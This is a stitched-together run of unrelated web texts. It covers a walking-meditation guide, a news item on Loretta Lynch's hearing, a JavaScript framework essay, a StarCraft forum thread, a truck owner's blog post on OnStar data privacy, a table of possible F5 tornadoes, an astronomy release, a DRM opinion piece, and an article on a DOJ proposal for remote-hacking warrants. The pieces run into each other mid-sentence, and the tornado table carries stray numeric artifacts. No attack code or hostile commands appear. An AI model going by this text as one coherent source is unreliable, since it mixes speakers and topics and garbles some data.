Oh and did I mention, it is even better to do this barefoot! Continue walking slowly, keeping your focus and attention on either the sensations in your body, or your breath, or by repeating “left step, right step, left step, right step”. Walk slowly, but naturally. Try not to label what is going on around you. Even if there’s a bright flower or a beautiful sounding bird. Just keep bringing your awareness back to the present moment.
And as always, don’t forget to BREATHE. Enjoy and appreciate the sensation of breathing allowing it to nourish you as you walk!
Below, I will help you with how to get started if you need some inspiration…
Live and Dare gives us a great explanation of how we begin a walking meditation:
“We will start by standing up. Stand still. Gaze at the ground in front of your feet. Take some deep breaths, inhaling deep into the belly. Put your full attention on the sensation of breathing. Now bring your awareness to your body, noticing how your body feels as you are standing, and becoming aware of all the sensations going on in your body. Notice how the soles of your feet feel as they are supported by the earth below you. Allow yourself to feel rooted into the earth, connected to the earth, nourishing your root chakra.
Bring your awareness to your right foot. Feel the entire foot as you lift it off the ground to take one small step. Be aware of how it moves as the heel is placed on the ground, and then the movement rolls to the ball of the foot and toes. Notice how it feels as the foot lifts and moves forward. Repeat with the left foot. Now stand still. Allow your awareness to move up through every part of the body, noticing the sensations as you walk. Gradually scan all parts of your body as you bring your attention to the ankles, skins, calves, knees, thighs, hips, pelvis, back, chest, shoulders, arms, neck, head. When you become aware of tension anywhere in the body, let it go. Allow that part of your body to relax. Allow your ankles, belly, shoulders, arms, neck — all of your body — to relax.
When you are in the present moment. When your body is relaxed, we will begin our walking meditation. Let your hips swing loose. Be calm. Enjoy each present moment, keeping aware of the sensations in your body. If you find that your mind wanders, acknowledge where it went gently. Then return to feel the next step.”
Now world, go meditate, and spread your love along the way!
Check out our guided walking meditation on YouTube here.President Obama's recent executive action on illegal immigration, deferring deportations and giving millions of individuals access to work permits, Social Security, Medicaid and other benefits, was front and center during a Senate Judiciary Committee hearing on Capitol Hill Wednesday where attorney general nominee and U.S. Attorney Loretta Lynch testified.
Under questioning from Republican Sen. Jeff Sessions, Lynch argued that regardless of an individual's lawful status in the United States, they should have the right to work.
"Senator, I think the right and obligation to work is one that is shared by everyone in this country regardless of how they came here and certainly if someone is here, regardless of status, I would prefer that they be participating in the work place than not be participating," Lynch said.
Attorney General Eric Holder, who Lynch will replace if confirmed, has openly stated he believes amnesty for those who entered the country illegally is a civil right.Lateralus is a JavaScript application framework based on Backbone. However, I feel that many of the patterns that Lateralus is built upon go far beyond what is useful in a Backbone app, and in fact extend to applications of all kinds. I initially chose to build on top of Backbone because it provides world-class implementations of what I call “application primitives” — core, low-level building blocks of what an application needs to function. Specifically, Backbone’s Model and Events object implementations are second to none. Lateralus builds on top of these primitives, but there is no reason that these implementations could not be swapped out for different ones.
My vision is for Lateralus to work as well as an addition to Backbone as it would to, say, React. Lateralus provides a set of generally useful patterns that should be employed in any application, UI-based or not, Backbone-based or not. Like Backbone, Lateralus’s application primitives are universally relevant. Here, I hope to describe some of these patterns and why they matter.
Everything is a component
Any application can be thought of as a set of components. Here’s a quote that I often use to explain why:
“The secret to building large apps is NEVER build large apps. Break up your applications into small pieces. Then, assemble those testable, bite-sized pieces into your big application.” — http://bitovi.com/blog/2010/11/organizing-a-jquery-application.html
This could be though of as a reframing of Separation of Concerns. You can bet the farm on this concept, it will never become irrelevant. Legos are powerful because they consist of tiny blocks that can be easily reconfigured into entirely new structures. Components are a first-class citizen in Lateralus, and act as a means of separating your application into lego blocks.
Nesting
A component-based structure is rarely flat. Instead, components are often nested, sometimes many levels deep. Any component-based application framework must allow for this, therefore Lateralus provides facilities to do so. Also important is the ability to arbitrarily remove components at any depth, and have the nested components clean up after themselves transparently. Lateralus provides APIs for this as well.
Decoupling
If nothing else, Lateralus is a set of patterns to decouple application code. In fact, tight coupling is the problem that Lateralus was built to solve. Generally, components should be built to have little to no awareness of each other. Each application component is built to be aware of only itself and almost nothing else. However, in order for Lateralus to be practical in real-world development, there is a minimal set of inter-component relationships that are defined.
Parent/child relationships
Nested components sometimes need to have some awareness of the parent component that they belong to. This pattern can be easily abused, as all patterns can be, but sometimes it’s just easier, clearer, and more performant to directly access a parent or child component than to over-engineer excessive abstractions to avoid it. Lateralus provides a direct link to the parent, as do views.
Central application relationship
Components often need some awareness of the universe they exist within, and the singular Lateralus instance is that universe. A begotten Lateralus object should typically contain general-use utility APIs, and all Lateralus objects can access those APIs via this.lateralus, no matter where they exist in the component hierarchy.
Event-based communication
Because Lateralus provides utilities for creating a well-structured, decoupled component hierarchy, it must also provide utilities for these components to indirectly communicate with each other. One of the most frequently-used APIs in a Lateralus app is emit, which broadcasts a message globally to the entire application. You are free to namespace these messages as you see fit, but Lateralus aims to be flexible by default. All Lateralus objects can arbitrarily listen for emit ted events via the lateralusEvents map. The emit / lateralusEvents relationship is one-to-many: You can attach as many listeners to an emit ted event as you need.
Observable data models
Data is core to any application, and Lateralus makes that data powerful. Especially when you are working with application state, many components may be concerned with when a piece of data changes. Lateralus makes it easy to associate a component with a model. Data changes within a component’s model are observable, thereby allowing listening objects to be notified. The central Lateralus model is even more powerful because it broadcasts specific model attribute changes to the entire app.
Scalable patterns for large apps
At an implementation level, Lateralus is currently an extension to Backbone. However, I hope to evolve it to be more than a Backbone bolt-on. I think it’s more effective to frame Lateralus as a set of patterns to incorporate into any application, whether or not they use Backbone. These patterns have so far proven to be very effective for organizing and scaling a number of codebases at Jellyvision, and I hope to develop them further and fill in the gaps as I discover them.
To see these patterns in use for yourself, take a look at this sample application or the recent rewrite of Stylie.SRuff Profile Joined April 2011 United States 12 Posts #1 So after much fun being had in Vegas and IPL4 this weekend I finaly have time (sitting in the airport cause I'm broke) to let everyone know about a little bit of an issue I ran into while here. My handle is SRuff because its been that way since I started playing games online 15 years ago. I am not VVVRuff or have any affiliation with him in the slightest (except our names being similar). I"m am just a regular guy that is diamond and went to IPL4 for fun and ended up having to play ST_July and EGDemuslim and sadly everyone thought I was VVVRuff and they streamed my games vs Demuslim (which was a complete stomping).
Sorry for all the confusion that may have caused for people (espically VVVRuff cause I'm not where near his level).
Klipsys Profile Blog Joined May 2010 United States 1357 Posts #2 did you get to meet July? Hudson Valley Progamer
TheEmulator Profile Blog Joined July 2010 PrairieLand 13456 Posts #3 its all good dude. It must have been pretty cool playing against july though, and even demuslim as well. Administrator ~_~
grush57 Profile Joined March 2011 Korea (South) 2577 Posts #4 That explains things. "Every thing is either simply awful or awfully simple." | "Weaklings can't pick... their way of death."
CaptainCharisma Profile Joined February 2011 New Zealand 808 Posts #5 Sweet opponents. I wish I could have played them. EG.DeMuslim --- EG.ThorZain --- TSL.Polt --- LGIMMvp --- Mill.fOrGG --- EG.Stephano --- EGiNcontroL --- EG.IdrA --- MarineKing.Prime --- SlayerS_MMA --- Liquid'Hero
SeraKuDA Profile Joined November 2010 Canada 343 Posts #6 Lol, wow, that's kind of cool though still.
Kogan Profile Joined May 2011 Germany 84 Posts #7 id love to play against july :D gj^^
SRuff Profile Joined April 2011 United States 12 Posts #8 It was a blast playing them very nice guys, just wish I could have given them more of a challenge. Will being doing a write up here about my experience sometime in the next week so I can share all the great things from the event!
blade55555 Profile Blog Joined March 2009 United States 17354 Posts Last Edited: 2012-04-09 22:49:26 #9 Hm tbh I was wondering if you were the vvvruff cause you didn't cheese in the game I saw (looked like you did 1 rax fe or something iirc?). That made me question if you were different or not (assumed so). When I think of something else, something will go here
SRuff Profile Joined April 2011 United States 12 Posts #10 Yeah I really enjoy trying to play macro, despite the fact that I'm bad at it.
Disarray Profile Blog Joined December 2007 United States 1164 Posts #11 On April 10 2012 07:45 Klipsys wrote:
did you get to meet July?
I got to meet him ^^ I got to meet him ^^ Input limit reached. Please wait to perform more actions.
blade55555 Profile Blog Joined March 2009 United States 17354 Posts #12 On April 10 2012 07:51 SRuff wrote:
Yeah I really enjoy trying to play macro, despite the fact that I'm bad at it.
Can't get good at something until you keep doing it, keep playing macro and it'll get better :D Can't get good at something until you keep doing it, keep playing macro and it'll get better :D When I think of something else, something will go here
RusHXceL Profile Joined August 2010 United States 1004 Posts #13 u get a pic?
Ace1123 Profile Joined September 2011 Philippines 1163 Posts #14 It's a good experience playing the two. You are lucky man ^_^ ForGG, Mvp, MMA, MarineKing, BoxeR,
CaptainHaz Profile Joined December 2010 United States 239 Posts Last Edited: 2012-04-09 22:55:06 #15 I didn't get to see your games, but from what people are saying you seem to be more entertaining than Ruff anyway.
Lemons-->pie-monade
Glad you enjoyed IPL 4! All of us warned you of the big white face.
Adebisi Profile Blog Joined June 2010 Canada 1620 Posts #16.
Hope you had fun :D! Ooooh... that makes some sense, I watched you vs Demuslim and I gotta say the gg timing was pretty poorHope you had fun :D!
SRuff Profile Joined April 2011 United States 12 Posts #17 LOL yeah it was pretty bad but hey it was my last game of the tourny so apologize for wasting peoples time ><;
Shellshock Profile Blog Joined March 2011 United States 94972 Posts #18 haha at least you got to be on stream. I saw the game vs demuslim and i was like wow vVvRuff having a real bad tourney.. >.<! Hope you had fun and got to meet some cool pros. I would love to go to a live event! :D Moderator http://i.imgur.com/U4xwqmD.png
Torte de Lini Profile Blog Joined September 2010 Germany 30667 Posts #19 Hi SRuff :D https://twitter.com/#!/TorteDeLini (@TorteDeLini)
kerpal Profile Blog Joined June 2009 United Kingdom 2578 Posts #20 That's a hilarious story, sorry that I missed it on the stream!
1 2 Next AllHi truck!!
This is my new truck, a 2017 Chevy Colorado. This year marks my 13th year as a Colorado owner, you see back in 2004 I bought a brand new 04 Colorado. It was my first new vehicle purchase ever and all in all it was a OK choice, I doubt I would have bought a second one if I didn’t think so. I paid $27,000 for it and it held up for me for the most part for 165,000 miles. Now there were a few notable exceptions to this, about 3 years into my ownership and right after the warranty expired my 4×4 transfer case blew up and was irreparable. It was a costly boo-boo and I was stuck with the tab. Then roughly 9 years into my ownership the 4×4 failed because of a broken solenoid thought I never found out for certain because I never actually fixed that issue. Fast forward to today, You may have noticed I paid another 10k for the same truck.. I know, I know.. I wasn’t thrilled about that part either. But there are some legitimate reasons for the increase. For one my new truck has a larger cab and more options. But more so because in the time between my two purchases the truck was totally redesigned. The Toyota Tacoma was crushing the Colorado on the market. It had more options and unfortunately was getting the reputation of being more reliable. Don’t forget we went through the GM bailout fiasco during this period. So GM had to find a way to rebrand itself and the Colorado went with it. Many of the former options became standard and many more were added. Not to mention the new Chevy MyLink entertainment system and thus we come to the point of this article.
Do I own this truck?
No really it is a serious question. I didn’t lease it. I DID partially finance it and you could conceivably say that the bank owns it. But for one they are not the organization I have a issue with here and two I really don’t think the law works that way. I financed the difference between my down payment and the amount owed I then purchased that vehicle myself and put said vehicle up as collateral. Now the bank has the title in their possession. I’m pretty certain my name is on that title while it is in the bank’s possession but really it’s irrelevant to the argument that will soon become clear. Even if their name is on the title in situ I would still argue that I own it as long as I keep up on payments and that the bank owns my remaining debt not the vehicle itself.
Get to the damned point already Jim!
OK, OK next couple sentences I promise. But first a couple questions.. So say for instance I was a mechanic and I was all excited to modify my new truck. I want to lift it, put on roll bars, huge tires, maybe even change the engine.. No. Scratch that, say that the engine is my first priority. I gut it immediately and throw in a V8 350 (assuming it will fit). Say I turn it into a first class rock crawler. I’m legally allowed to do all that right?
So why the hell do the rules change when the word engine is replaced with software? Can you really say that the vehicle’s software plays a more critical role in it’s safety than the engine? At best you could say that it is an irrelevant ‘apples to oranges’ kind of argument but that’s it. If I bought say a 1960’s Chevy I could verify that it is safe through my own checking. I could easily learn how the drive train operates. Take the engine apart. Verify the pistons and crankshaft operate smoothly. Verify that the valves all open and close without obstruction. Ect. Ect. Now please tell me how I verify that the code written on my rolling computer is not going to lock up mid operation? This may seem paranoid in the modern climate but try to understand that the next version of Excel takes years to develop. Fallout 4 took 3 years. 5 years for GTA5. Now think that your car’s software is pushed out the door in under a year… Yea, Seems like a lot pressing of an issue now doesn’t it. Point #1. check.
Secondly this truck operates with an always on 4G cellular connection tied directly into OnStar. I realize that OnStar is a subscription service and that someone could just make a dismissive comment that if you don’t want OnStar don’t pay for it. Simple logic, and I wish I lived in that world but things are just not that simple. The subscription layer of OnStar is the tip of the iceberg. An unsubscribed vehicle still transmits a ton of data. Like what? Well engine data, transmission data, 4×4 data, GPS data, the status of your seat belts, the current occupancy, really every scrap of data is recorded and saved in a database. It may seem extreme to save that all in one go but from a computer science viewpoint it is much easier to record everything and pick through it later. We all need to understand that this is all TEXT data. meaning the data from a few hundred vehicles could be maybe 10Gig? And assuming for a second that it is we are talking 100x that per terabyte drive. Storage is stupid cheap today. Google built Gmail on the assumption that data storage was literally free and it was a massive success. I’m serious, they literally went to their bean counters, told them to delete the storage cost line item and still made billions. Now I don’t necessarily think that GM want’s to do anything malicious with this data. I think they are caught up in the ‘big data’ trend and want to see how much they can improve their product. I respect that. The conflict of interest comes when government subpoena’s that data and GM hand’s it right over. Imagine you are accused of a crime and find out that you have been driving a rolling tracking device for years and the prosecution now had the record of everything you have done with your vehicle for a decade. No I’m not saying I plan on committing any crimes but from my viewpoint this is a violation of my constitutional right protecting me from illegal search and seizure.
I know the dismissive argument to that too. Some would say that if you’re doing nothing wrong you have nothing to hide. But I could write novels on how ridiculous of a concept this. Put simply privacy is a basic human right. Anyone who remembers the previous century will remember there have been volumes written about the dystopian implications of letting government and industry have access to all of your data. Now we are supposed to accept it as commonplace? I don’t remember when we had the public debate about if it is right or not to turn your personal vehicle into a tracking device. I don’t remember when we had the discussion about if it was right or not to have the details of who I spend time with, what I buy, where I go, all collected unbeknownst to me and contrary to my wishes. |
Lake 7000500000000000000♠ 5 1965 Palm Sunday tornado outbreak – This tornado developed after the first Dunlap tornado (previous event). Possible F5-level damage occurred to homes that were swept away.[6] Thomas P.
Apr 11 1965 2130 US OH Toledo 7001180000000000000♠ 18 1965 Palm Sunday tornado outbreak – Homes were completely swept away with borderline-F5 damage in North Toledo. Boats and buses were thrown into and onto buildings. Rated F5 originally by Fujita in the Chicago Damage Area Per Path Length (DAPPL), and by the NWS, but later downgraded to an F4, although Grazulis' research says the tornado caused F5 damage.[6] Thomas P., Tetsuya T.
Oct 14 1966 1355 US IA Belmond 7000600000000000000♠ 6 Disputed F5 rating, ranked F4 by Grazulis.[6] A house was swept away on the outskirts of town. However, the home was likely poorly anchored as debris was deposited in a neat pile near the foundation, and nearby homes only showed slight damage.[10][153] SPC, NWS
Jun 24 1967???? FR HDF Palluel 7000600000000000000♠ 6 Homes and other structures were swept away or leveled in and near Palluel.[12] Pending
Jun 13 1968 1850 US MN Tracy 7000900000000000000♠ 9 1968 Tracy tornado – 111 homes were destroyed in town, with some swept away. A heavy boxcar was thrown more than a full block, and two others were thrown 300 yd (900 ft). A steel I-beam was carried for two miles on a piece of roof.[10] Extensive ground scouring occurred outside of town, and several farms were swept completely away.[155] SPC, NWS, NCDC, Thomas P.
Jan 1 1970???? AU NSW Bulahdelah 5000000000000000000♠ 0 Bulahdelah tornado – Was never officially rated, but is widely considered to have been an F5. Left a damage path 21 kilometres (13 mi) long and 1–1.6 kilometres (0.62–0.99 mi) wide through the Bulahdelah State Forest. According to reports, the tornado threw a tractor weighing 2 tonnes (4,400 lb) 100 metres (328 ft) through the air, depositing it upside down. It is estimated that the tornado destroyed over one million trees.[156] Pending
May 11 1970 2035 US TX Lubbock 7001260000000000000♠ 26 1970 Lubbock tornado – Homes were swept away and a high-rise building suffered structural deformation. A 13-tonne (28,660 lb) metal fertilizer tank was thrown nearly 1 mi (1.6 km) through the air, and large oil tanks were carried for over 300 yd (900 ft).[6][10][157] SPC, NWS, NCDC, Thomas P.
Apr 27 1971 2153 US KY Gosser Ridge 7000200000000000000♠ 2 Most buildings on a farm were swept away. Listed as a "questionable" F5 in the NCDC Tech Memo. Was F4 according to Grazulis and official records.[6][9] NCDC
Jan 10 1973???? AR S San Justo 7001540000000000000♠ 54 San Justo tornado – Was never officially rated, but is widely considered to have been an F5.[158] Masonry homes reportedly vanished with little or no trace, and vehicles were thrown hundreds of meters from where they originated and mangled beyond recognition. Large factories were completely leveled and grass was scoured from the ground. A vehicle motor was found embedded into a poured concrete wall, and a tractor was thrown 500 meters into a wooded area.[159][160] Pending
May 6 1973 1925 US TX Valley Mills 5000000000000000000♠ 0 Rating applied by wind engineers. A pickup truck was carried.5 mi (0.80 km) through the air. Another was carried for 200 yd (600 ft).[10] SPC, NWS, NCDC, Thomas P.
May 24 1973 1538 US OK Union City 7000200000000000000♠ 2 A carport was carried intact to the north while rest of the house gone with the foundation swept clean. A barn was destroyed and trees still standing were denuded, a flatbed truck rolled over, a car wasvtorn apart with only the frame remaining nearby. A small frame house gone with its foundation clean. [161] [162] NSSL
Mar 26 1976 1528 US OK Spiro 7000200000000000000♠ 2 Frame homes were swept away,[10] and 134,000-pound (60,780 kg) coal cars were tossed. Rating disputed.[6][177] SPC, NWS
Apr 19 1976 1730 US TX Brownwood 5000000000000000000♠ 0 Homes were swept away, with only a bathtub remaining on one of the foundations. Several teenagers were caught in the open and were picked up and thrown 1,000 yd (0.57 mi) but survived. Rating disputed.[6] SPC, NWS
Jun 13 1976 1410 US IA Jordan 5000000000000000000♠ 0 Homes were swept away.[6] This tornado was mentioned by Fujita as one of the most intense he surveyed. Well-built farms reportedly vanished without a trace.[164] SPC, NWS, NCDC, Thomas P., Tetsuya T.
Apr 2 1982 1550 US OK Broken Bow 5000000000000000000♠ 0 A house was swept away. Only carpet tacks were left on the empty foundation. The F5 rating is disputed because the home was likely not anchored properly.[6] SPC, NWS
Jun 9 1984 1520 RU KOS Kostroma– Lyubim 5000000000000000000♠ 0 1984 Soviet Union tornado outbreak – Officially rated F4, but survey mentions possible F5 damage. Trees were ripped from the ground and thrown long distances. A 350-ton industrial crane was blown over.[184] Pending
May 31 1985 1730 US OH– PA Niles– Wheatland 7001180000000000000♠ 18 1985 United States-Canadian tornado outbreak – This tornado caused F5 damage along much of its path through Niles and Wheatland. A shopping center in Niles was obliterated, sustaining F5 damage and several deaths. Metal girders at the center twisted and buckled.[6][10][185] Well-built, anchor bolted homes were swept away, and 75,000-pound (34,020 kg) petroleum storage tanks were ripped from their anchors and thrown hundreds of feet.[186] Pavement was scoured from a parking lot, and a steel-frame trucking plant was obliterated and partially swept away with the beams severely mangled. Routing slips from the plant were found wedged into the remaining asphalt of parking lot. An airplane wing was carried 10 miles from where it originated.[6][186] As of 2018 it is the only F5 or EF5 in Pennsylvania history. SPC, NWS, NCDC, Thomas P.
Jul 31 1987 1600 CA AB Edmonton 7001270000000000000♠ 27 Edmonton Tornado – Heavy trailers and oil tanks were tossed, and large factories were leveled. This tornado has been under scrutiny by Environment Canada in recent years, as to whether or not it could be considered for an F5 rating.[187] If done this would make it the earliest such tornado since records have been kept, next to the 2007 Elie, Manitoba, tornado. EC
Jun 1 1990 1720 US TX Girvin - Bakersfield Valley 7000200000000000000♠ 2 This tornado at peak width was 1.3 miles wide. Officially rated F4, but produced extreme damage in rural areas, and is suspected by some to have been an F5. Extensive ground scouring occurred, with a large swath of ground reduced to bare soil, and low-lying shrubbery reduced to debarked nubs. Pavement was scoured from several roads, one of which had a 300 yd (900.0 ft) stretch of pavement removed. Three large 180,000-pound (81,647 kg) oil tanks were tossed and rolled 3 mi (4.8 km) away from where they originated, two of which were tossed 600 ft up the side of a hill. A concrete drainage culvert had large slabs of concrete broken off and scoured away, and multiple large oil pumps were destroyed.[190] [191] Pending
Aug 28 1990 1430 US IL Oswego– Plainfield– Joliet 7001290000000000000♠ 29 1990 Plainfield tornado – Rain-wrapped tornado. A mature corn crop was scoured from the ground, leaving nothing but bare soil behind. Several inches of topsoil were blown away as well.[10][192] A 20-tonne (20,000 kg) tractor trailer was tossed from a road and thrown more than half a mile, and vehicles were picked up and carried through the air.[192] The F5 rating is based solely upon the extreme ground scouring; as areas in Plainfield sustained high-end F4 structural damage, though the ground scouring nearby was much less intense than where the corn crop was obliterated.[10][192] Fujita considered the intensity of the ground scouring "comparable to the worst he had seen."[192] SPC, NWS, NCDC, Thomas P., Tetsuya T.
Apr 26 1991 1830 US OK Red Rock 5000000000000000000♠ 0 April 26, 1991 tornado outbreak – Mobile Doppler radar used by storm chasers indicated wind speeds in the range of the F5 threshold, with winds up to 286 mph (460 km/h). Pavement and ground scouring occurred, and a large oil rig was toppled. Officially rated F4, rating is disputed.[6][10] Thomas P.
Jun 8 1995 1935 US TX Allison, Texas 5000000000000000000♠ 0 Because of the personal injuries in Pampa and the unknown extent of these tornadoes a National Weather Service survey was not done. VORTEX reports from experienced spotters indicated the Allison tornado was one of the biggest and meanest appearing tornadoes they had ever seen. All sighting reports would place this as a F5 tornado, but due to little interaction with man made structures, the heavy rains and lapsed time to see the site, F4 was as high a rating as could be awarded.[198] [122] [199] [198] NWS, VORTEX
Jul 18 1996 1805 US WI Oakfield 5000000000000000000♠ 0 1996 Oakfield tornado – Well-built homes with anchor bolts were swept away, including one where rebar supports were bent over at a 90-degree angle. Vehicles were thrown up to 400 yd (1,200 ft) through the air and mangled beyond recognition. Crops were scoured to 1-inch stubble.[10][200] SPC, NWS, NCDC, Thomas P.
May 27 1997 1440 US TX Jarrell 7001270000000000000♠ 27 1997 Central Texas tornado outbreak – Produced some of the most extreme damage ever documented.[10] An entire subdivision of well-built homes was swept completely away with very little debris remaining. Some of the homes were well-bolted to their foundations. Long expanses of pavement was torn from roads, and a large swath of ground was scoured out to a depth of 18 in (0.46 m). Vehicles were torn apart and scattered across fields, and a recycling plant was obliterated. Tornado was very slow-moving, which may have exacerbated the destruction to some extent.[10][201] SPC, NWS, NCDC, Thomas P.
Apr 16 1998 1550 US TN Hardin County– Wayne County 7000300000000000000♠ 3 1998 Nashville tornado outbreak – Originally considered part of a very long-tracked F5 tornado but was later determined to have been the first in a series of three separate, violent tornadoes. Multiple homes were reduced to their foundations. Although officially rated an F4, a re-analysis conducted in 2013 by the NWS Office in Nashville noted that the damage in Wayne County may warrant EF5; however, no tornadoes are rated using the enhanced scale that occurred prior to February 2007.[204] NWS
May 30 1998 2026 US SD Spencer 7000600000000000000♠ 6 DOW recorded maximum wind speeds at 264 mph (425 km/h) at 160 ft above ground level, which the NWS classified at almost ground level. Such wind speeds would fall well into the EF5 range on the Enhanced Fujita Scale, though the maximum damage intensity observed in the town of Spencer was F4. The town's water tower was toppled to the ground, an apartment building was leveled, and many homes were completely destroyed, a few of which were swept away.[205] DOW, Joshua
May 3 1999 2125 US OK Mulhall 7000200000000000000♠ 2 1999 Oklahoma tornado outbreak – Officially rated high-end F4, rating disputed. Numerous homes suffered major damage. Damage to 1 brick residence was rated F4. All walls were knocked down, and part of the foundation was removed. Some wind velocities were recorded up to 260 mph (418 km/h), other were recorded between 265 and 297 mph (426 and 477 km/h). Dozens of structures were destroyed, including some that were swept away. Studies found that the debris cloud from the tornado possible reached 4.3 miles wide at times. Meteorologists have stated that this event was as violent or more violent than the Bridge Creek-Moore F5 earlier that day.[209] [210] DOW, JoshuaUniversity of Michigan astronomers examined old galaxies and were surprised to discover that they are still making new stars. The results provide insights into how galaxies evolve with time. U-M research fellow Alyson Ford and astronomy professor Joel Bregman presented their findings May 31 at a meeting of the Canadian Astronomical Society in London, Ontario.
Using the Wide Field Camera 3 on the Hubble Space Telescope, they saw individual young stars and star clusters in four galaxies that are about 40 million light years away. One light year is about 5.9 trillion miles.
"Scientists thought these were dead galaxies that had finished making stars a long time ago," Ford said. "But we've shown that they are still alive and are forming stars at a fairly low level."
Galaxies generally come in two types: spiral galaxies, like our own Milky Way, and elliptical galaxies. The stars in spiral galaxies lie in a disk that also contains cold, dense gas, from which new stars are regularly formed at a rate of about one sun per year.
Stars in elliptical galaxies, on the other hand, are nearly all billions of years old. These galaxies contain stars that orbit every which way, like bees around a beehive. Ellipticals have little, if any, cold gas, and no star formation was known.
"Astronomers previously studied star formation by looking at all of the light from an elliptical galaxy at once, because we usually can't see individual stars," Ford said. "Our trick is to make sensitive ultraviolet images with the Hubble Space Telescope, which allows us to see individual stars."
The technique enabled the astronomers to observe star formation, even if it is as little as one sun every 100,000 years.
Ford and Bregman are working to understand the stellar birth rate and likelihood of stars forming in groups within ellipticals. In the Milky Way, stars usually form in associations containing from tens to 100,000 stars. In elliptical galaxies, conditions are different because there is no disk of cold material to form stars.
"We were confused by some of the colors of objects in our images until we realized that they must be star clusters, so most of the star formation happens in associations," Ford said.
The team's breakthrough came when they observed Messier 105, a normal elliptical galaxy that is 34 million light years away, in the constellation Leo. Though there had been no previous indication of star formation in Messier 105, Ford and Bregman saw a few bright, very blue stars, resembling a single star 10 to 20 times the mass of the sun.
They also saw objects that aren't blue enough to be single stars, but instead are clusters of many stars. When accounting for these clusters, stars are forming in Messier 105 at an average rate of one sun every 10,000 years, Ford and Bregman concluded. "This is not just a burst of star formation but a continuous process," Ford said.
These findings raise new mysteries, such as the origin of the gas that forms the stars.
"We're at the beginning of a new line of research, which is very exciting, but at times confusing," Bregman said. "We hope to follow up this discovery with new observations that will really give us insight into the process of star formation in these 'dead' galaxies."Game industry analyst and monkey juggler Michael Pachter does not think that Ubisoft's DRM is a bad thing. In fact, as a lawyer he believes it is Ubisoft's right to protect its games in any way the publisher sees fit.
"I’m an old guy," he says. "I’m ethical and I’m a lawyer by trade. I feel if you steal a copy of a game by copying a friend’s file then it’s like going into the shop and stealing a copy. That’s how I feel about it. Please feel free to disagree. When a company sells you a game they have no problem if you resell it and someone else buys it and they have no problem if you give it away. If you make copies, though, it’s against the law. The guys that ran bittorrent are in jail: it is illegal."
First of all, publishers have a HUGE problem with you reselling a game or giving it away, as their long history of bitching about used sales demonstrates. But let's continue with what Pachter has to say:
"I think anything a publisher does to make sure you don’t rip off their games if their right, and I think that people who steal should be in jail. I welcome the flamer comments on this one; if you think that’s right good for you; we have no interest in your business since you don’t pay for stuff anyway."
Pachter is doing exactly what publishers have done in this situation -- hide behind "rights" in order to justify punitive measures against people who legally purchase videogames. The people stung by Ubisoft's DRM the most are the people who dropped fifty bucks on a game that demands a persistent Internet connection and craps out when one isn't available, or can't access the publisher's shitty servers. Pachter said it himself, that pirates "don't pay for stuff anyway." If they're not gonna buy Ubisoft's games, then DRM only affects real consumers. And I think real consumers have a right to be upset and offended by that.
The biggest publishers are the most butthurt, whiny, greedy, grasping companies in town. They hate used sales. They hate the idea of gamers sharing discs with friends. They hate freebies and discounts and they hate not having every last penny flowing their way. Don't ever ask decent people to feel sorry for them.
Pachter: “Using DRM is Ubisoft’s right” [VG247]
You are logged out. Login | Sign upThe United States Department of Justice wants to broaden its ability to hack criminal suspects’ computers, according to a new legal proposal that was first published by The Wall Street Journal on Thursday.
If passed as currently drafted, federal authorities would gain an expanded ability to conduct “remote access” under a warrant against a target computer whose location is unknown or outside of a given judicial district. It would also apply in cases where that computer is part of a larger network of computers spread across multiple judicial districts. In the United States, federal warrants are issued by judges who serve one of the 94 federal judicial districts and are typically only valid for that particular jurisdiction.
The 402-page document entitled “Advisory Committee on Criminal Rules" is scheduled to be discussed at an upcoming Department of Justice (DOJ) meeting next month in New Orleans.
Federal agents have been known to use such tactics in past and ongoing cases: a Colorado federal magistrate judge approved sending malware to a suspect’s known e-mail address in 2012. But similar techniques have been rejected by other judges on Fourth Amendment grounds. If this rule revision were to be approved, it would standardize and expand federal agents’ ability to surveil a suspect and to exfiltrate data from a target computer regardless of where it is.
Peter Carr, a DOJ spokesperson, told Ars that he was “not aware of any figures” as to how many times such “remote access” by law enforcement has taken place.
Cracking Tor is hard!
Civil libertarians and legal experts are very concerned that this would unnecessarily expand government power.
“It is nuts,” Chris Soghoian, a technologist and senior policy analyst with the American Civil Liberties Union, told Ars.
“What’s most shocking is that they’re not going to Congress and asking for this authority. This is a pretty big shift. This is a dangerous direction for the government to go in, and if we’re going to go in that direction then we really need Congress to sign on the dotted line, and [the DOJ is] trying to sneak it through the back door.”
Carr told Ars that the change is needed to combat criminals who use “sophisticated anonymizing technologies,” like Tor.
“Our proposal would not authorize any searches or remote access not already authorized under current law,” he wrote by e-mail. “The proposal relates solely to venue for a warrant application.”
Carr did not answer Ars’ specific questions as to the technical capabilities of such actions nor whether its capability involves zero-day exploits.
“The documents don’t reveal what the FBI is using,” the ACLU’s Chris Soghoian added. “They’re probably using zero-days, and there are a huge number of policy discussions associated with the use of zero-days by law enforcement. These issues are too important to be taking place without public debate. If we’re going to enter this world of law enforcement hacking, it needs to happen after an open discussion where our legislative officials vote for or against it. The government shouldn’t just grab this power for themselves.”
“Locating them can be impossible”
Carr also sent Ars a five-page letter dated September 18, 2013 from Mythili Raman, an acting assistant attorney general to Judge Reena Raggi, a federal judge in Brooklyn who is the chair of the Advisory Committee on Criminal Rules.
Raman’s letter to the judge further outlines the government’s case and its need to “better enable law enforcement to investigate and prosecute botnets and crimes involving Internet anonymizing technologies, both of which pose substantial threats to members of the public.”
As she writes:
For example, a fraudster exchanging email with an intended victim or a child abuser sharing child pornography over the Internet may use proxy services designed to hide his or her true IP address. Proxy services function as intermediaries for Internet communications: when one communicates through an anonymizing proxy service, the communications pass through the proxy, and the recipient of the communications receives the proxy's IP address, rather than the originator's true IP address. There is a substantial public interest in catching and prosecuting criminals who use anonymizing technologies, but locating them can be impossible for law enforcement absent the ability to conduct a remote search of the criminal's computer. Law enforcement may in some circumstances employ software that enables it through a remote search to determine the true IP address or other identifying information associated with the criminal's computer.
Ruthann Robson, a law professor at the City University of New York, told Ars that the new proposed changes are indeed disturbing.
“While the suggestion is to have some sample warrants reviewed by a subcommittee, one wonders how this might be helpful, especially if these ‘sample’ warrants become ‘model’ warrants that prosecutors use and that judges learn in their continuing judicial education classes,” she said, referring to a draft sample warrant included in the 402-page document. “Adapting the warrant requirement for the extraterritorial technologies is difficult, but the Fourth Amendment nevertheless requires warrants to be supported by oaths and ‘particularly describing the place to be searched, and the persons or things to be seized.’”
One warrant to rule them all
The government appears to have already heard some opposition to the proposed rule change.
